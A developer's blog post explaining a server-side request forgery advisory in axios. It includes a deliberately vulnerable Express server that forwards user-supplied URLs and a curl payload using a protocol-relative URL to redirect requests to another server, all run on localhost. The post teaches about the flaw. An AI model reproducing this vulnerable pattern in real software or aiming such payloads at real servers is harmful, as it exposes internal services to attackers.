Forem

Cover image for The sad story of node update!
Jairo Fernández
Jairo Fernández

Posted on

1

The sad story of node update!

Yesterday, I was happily finishing an upgrade at work, and everything seemed perfect 😄. All the dependencies migrated smoothly, and my npm audit looked great 🚀. But then…


Image description


Server-Side Request Forgery in axios ⚠️
https://github.com/advisories/GHSA-8hc4-vh64-cxmj

Image description

I spent a lot of time fixing things, only to see that stupid message 😡. My OCD was driving me crazy 🤯.


And, I said, hmmm how exactly this error works? what the hell is SSRF? I'll try to explain fast the concept and share with you the discovery :D

SSRF, or Server-Side Request Forgery, is like tricking your server into being an unintentional errand boy 🕵️‍♂️. It’s when a hacker gets your server to make requests to places it shouldn’t, kind of like sending your dog to fetch a stick but it comes back with a bomb instead 💣. (from ChatGPT 😍)


In code please!

Normally, axios works, in your server when you need to do some external request to https://some-domain.com/api/, you can do something like this:



const instance = axios.create({
  baseURL: 'https://jsonplaceholder.typicode.com/',
  timeout: 1000,
  headers: { accept: 'application/json' }
});


Enter fullscreen mode Exit fullscreen mode

In theory, this is our innocent and pure server meant to fetch resources from jsonplaceholder:



const axios = require('axios');
const express = require('express');

const instance = axios.create({
  baseURL: 'https://jsonplaceholder.typicode.com/',
  timeout: 1000,
  headers: { accept: 'application/json' },
});

const app = express();
const port = 3000;

app.use(express.json());

app.post('/fetch-data', async (req, res) => {
  const url = req.body.url;
  try {
    const response = await instance.get(url);
    console.log(response.data);
    res.json(response.data);
  } catch (error) {
    console.error(error);
    console.log('URL:', url);
    res
      .status(500)
      .json({ message: 'Error fetching data', error: error.message });
  }
});

app.listen(port, () => {
  console.log(`Server running on http://localhost:${port}`);
});



Enter fullscreen mode Exit fullscreen mode

You can try this one on terminal:



curl -X POST http://localhost:3000/fetch-data \
 -H "Content-Type: application/json" \
 -d '{"url": "/todos/1"}'



Enter fullscreen mode Exit fullscreen mode

The response is like this:



{"userId":1,"id":1,"title":"delectus aut autem","completed":false}


Enter fullscreen mode Exit fullscreen mode

everything is beautiful, but...

Image description


Now, if you have another server (acting as a malicious server) on http://localhost:4000, what happens when the user tests it:



const axios = require('axios');
const express = require('express');

const app = express();
const port = 4000;

app.use(express.json());

app.get('/private-data', async (req, res) => {
  const url = req.body.url;
  try {
    console.log('Private URL:', url);
    console.log('WTF??????');
    res.send({ message: 'Data fetched' });
  } catch (error) {
    console.error(error);
    console.log('URL:', url);
    res.status(500).send('Error fetching data');
  }
});

app.listen(port, () => {
  console.log(`Server running on http://localhost:${port}`);
});



Enter fullscreen mode Exit fullscreen mode

Try again



curl -X POST http://localhost:3000/fetch-data \
 -H "Content-Type: application/json" \
 -d '{"url": "//localhost:4000/private-data"}'


Enter fullscreen mode Exit fullscreen mode

you will get this response:



{"message":"Data fetched"} # data from other server!


Enter fullscreen mode Exit fullscreen mode

“So, this is really bad 😱 because you’re trusting the axios instance. The good news is that within a day, the issue in axios was successfully fixed in version 1.7.4 🎉.”


If you want to play with this, please check the experiment here 👇

Image of Datadog

How to Diagram Your Cloud Architecture

Cloud architecture diagrams provide critical visibility into the resources in your environment and how they’re connected. In our latest eBook, AWS Solution Architects Jason Mimick and James Wenzel walk through best practices on how to build effective and professional diagrams.

Download the Free eBook

Top comments (1)

Collapse
 
andres_fernandez_05a8738d profile image
Andres Fernandez

Great explanation, I finally understood this vulnerability, thanks for sharing.

Image of Datadog

The Essential Toolkit for Front-end Developers

Take a user-centric approach to front-end monitoring that evolves alongside increasingly complex frameworks and single-page applications.

Get The Kit

👋 Kindness is contagious

Explore a sea of insights with this enlightening post, highly esteemed within the nurturing DEV Community. Coders of all stripes are invited to participate and contribute to our shared knowledge.

Expressing gratitude with a simple "thank you" can make a big impact. Leave your thanks in the comments!

On DEV, exchanging ideas smooths our way and strengthens our community bonds. Found this useful? A quick note of thanks to the author can mean a lot.

Okay